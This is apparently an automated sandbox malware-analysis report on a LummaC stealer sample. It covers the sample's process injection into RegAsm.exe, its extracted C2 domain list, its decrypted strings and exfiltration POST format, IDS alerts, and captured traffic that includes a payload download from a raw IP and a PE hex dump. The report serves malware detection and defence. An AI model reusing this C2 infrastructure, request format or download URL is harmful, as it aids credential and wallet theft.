Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
Analysis ID:	1500506
MD5:	876c12019e3b15fe92841e8d358d4921
SHA1:	08e3fb4496270b4ab04d5adee71fefdb670114a1
SHA256:	b8738d4888209ef2912d232eafbd13a0017bb62761a9f5d567c3fa0090a09972
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe (PID: 6612 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe" MD5: 876C12019E3B15FE92841E8D358D4921)

RegAsm.exe (PID: 4184 cmdline: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 320 cmdline: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["condedqpwqm.shop", "stagedchheiqwo.shop", "stamppreewntnq.shop", "traineiwnqo.shop", "evoliutwoqm.shop", "locatedblsoqp.shop", "miracledzmnqwui.shop", "caffegclasiqwp.shop", "millyscroqwp.shop"], "Build id": "WpM2Co--SUSELL"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Observed Lumma Stealer Related Domain (miracledzmnqwui .shop in TLS SNI) - Source IP: 192.168.2.7 - Destination IP: 188.114.96.3

Timestamp:	2024-08-28T15:29:04.443508+0200
SID:	2055378
Severity:	1
Source Port:	49703
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) - Source IP: 192.168.2.7 - Destination IP: 1.1.1.1

Timestamp:	2024-08-28T15:29:06.451728+0200
SID:	2055483
Severity:	1
Source Port:	50347
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (miracledzmnqwui .shop) - Source IP: 192.168.2.7 - Destination IP: 1.1.1.1

Timestamp:	2024-08-28T15:29:03.784058+0200
SID:	2055377
Severity:	1
Source Port:	57267
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.7 - Destination IP: 188.114.96.3

Timestamp:	2024-08-28T15:29:05.247507+0200
SID:	2049836
Severity:	1
Source Port:	49703
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 188.114.96.3

Timestamp:	2024-08-28T15:29:05.247507+0200
SID:	2054653
Severity:	1
Source Port:	49703
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:05.751380+0200
SID:	2055489
Severity:	1
Source Port:	49704
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:06.199789+0200
SID:	2049836
Severity:	1
Source Port:	49704
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:06.199789+0200
SID:	2054653
Severity:	1
Source Port:	49704
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:07.638515+0200
SID:	2055493
Severity:	1
Source Port:	49707
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:07.105801+0200
SID:	2049836
Severity:	1
Source Port:	49705
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:07.105801+0200
SID:	2054653
Severity:	1
Source Port:	49705
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) - Source IP: 192.168.2.7 - Destination IP: 1.1.1.1

Timestamp:	2024-08-28T15:29:05.253081+0200
SID:	2055479
Severity:	1
Source Port:	64418
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-08-28T15:29:06.967216+0200
SID:	2055493
Severity:	1
Source Port:	49705
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: miracledzmnqwui.shop	Avira URL Cloud: Label: phishing
Source: stamppreewntnq.shop	Avira URL Cloud: Label: phishing
Source: https://traineiwnqo.shop/.%	Avira URL Cloud: Label: malware
Source: condedqpwqm.shop	Avira URL Cloud: Label: phishing
Source: https://traineiwnqo.shop/apim	Avira URL Cloud: Label: malware
Source: https://locatedblsoqp.shop/api	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/api	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/&%	Avira URL Cloud: Label: malware
Source: locatedblsoqp.shop	Avira URL Cloud: Label: phishing
Source: millyscroqwp.shop	Avira URL Cloud: Label: malware
Source: https://miracledzmnqwui.shop/api	Avira URL Cloud: Label: malware
Source: caffegclasiqwp.shop	Avira URL Cloud: Label: malware
Source: https://traineiwnqo.shop/	Avira URL Cloud: Label: malware
Source: stagedchheiqwo.shop	Avira URL Cloud: Label: phishing
Source: traineiwnqo.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 3.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["condedqpwqm.shop", "stagedchheiqwo.shop", "stamppreewntnq.shop", "traineiwnqo.shop", "evoliutwoqm.shop", "locatedblsoqp.shop", "miracledzmnqwui.shop", "caffegclasiqwp.shop", "millyscroqwp.shop"], "Build id": "WpM2Co--SUSELL"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: caffegclasiqwp.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: stamppreewntnq.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: stagedchheiqwo.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: millyscroqwp.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: evoliutwoqm.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: condedqpwqm.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: traineiwnqo.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: locatedblsoqp.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: miracledzmnqwui.shop
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 3.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: WpM2Co--SUSELL

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49705 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\Administrator\Desktop\RunPE-x\ConsoleApp66\obj\Release\ConsoleApp66.pdb source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_0043406B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	3_2_0043406B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0040B000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_004100CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [eax+02h], 00000000h	3_2_00432080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00414160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_00414160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push 00000000h	3_2_00414160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00420120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 625B6034h	3_2_0041C1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_004309A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_00436250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	3_2_00419A55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	3_2_00419A55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0041FA7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0041C219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00429A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	3_2_0040A2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [ebp-10h]	3_2_0041EB5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+04h], ecx	3_2_00423300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_00423300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_00423300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	3_2_00412BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_00423BC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebp	3_2_00406B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebp	3_2_00406B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	3_2_004123AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_00423C24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+18h]	3_2_00413555
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	3_2_0040EDDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00418580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_00424D86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	3_2_0041E594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ebx], cx	3_2_00412D9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea eax, dword ptr [esp+20h]	3_2_0041CE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [ebx]	3_2_00436E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], dl	3_2_00423E16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_004366B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_0041AEBD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_00420710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_0041A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_0041A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	3_2_0040EFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+48h]	3_2_0040EFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004187E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00418F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	3_2_00418F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	3_2_00418F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	3_2_00418F9A

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.7:50347 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055377 - Severity 1 - ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (miracledzmnqwui .shop) : 192.168.2.7:57267 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.7:64418 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.7:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.7:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055378 - Severity 1 - ET MALWARE Observed Lumma Stealer Related Domain (miracledzmnqwui .shop in TLS SNI) : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.7:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: miracledzmnqwui.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 13:29:02 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Tue, 27 Aug 2024 16:37:44 GMTETag: "43000-620acdc619d20"Accept-Ranges: bytesContent-Length: 274432Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 b3 ec cc 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 66 03 00 00 c6 00 00 00 00 00 00 30 99 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 29 a4 03 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 04 00 40 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c a5 03 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c 64 03 00 00 10 00 00 00 66 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 55 28 00 00 00 80 03 00 00 2a 00 00 00 6a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 5c ed 00 00 00 b0 03 00 00 58 00 00 00 94 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 40 42 00 00 00 a0 04 00 00 44 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /files/u888.exe HTTP/1.1Host: 147.45.44.131Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 147.45.44.131 147.45.44.131
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: miracledzmnqwui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locatedblsoqp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: traineiwnqo.shop

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
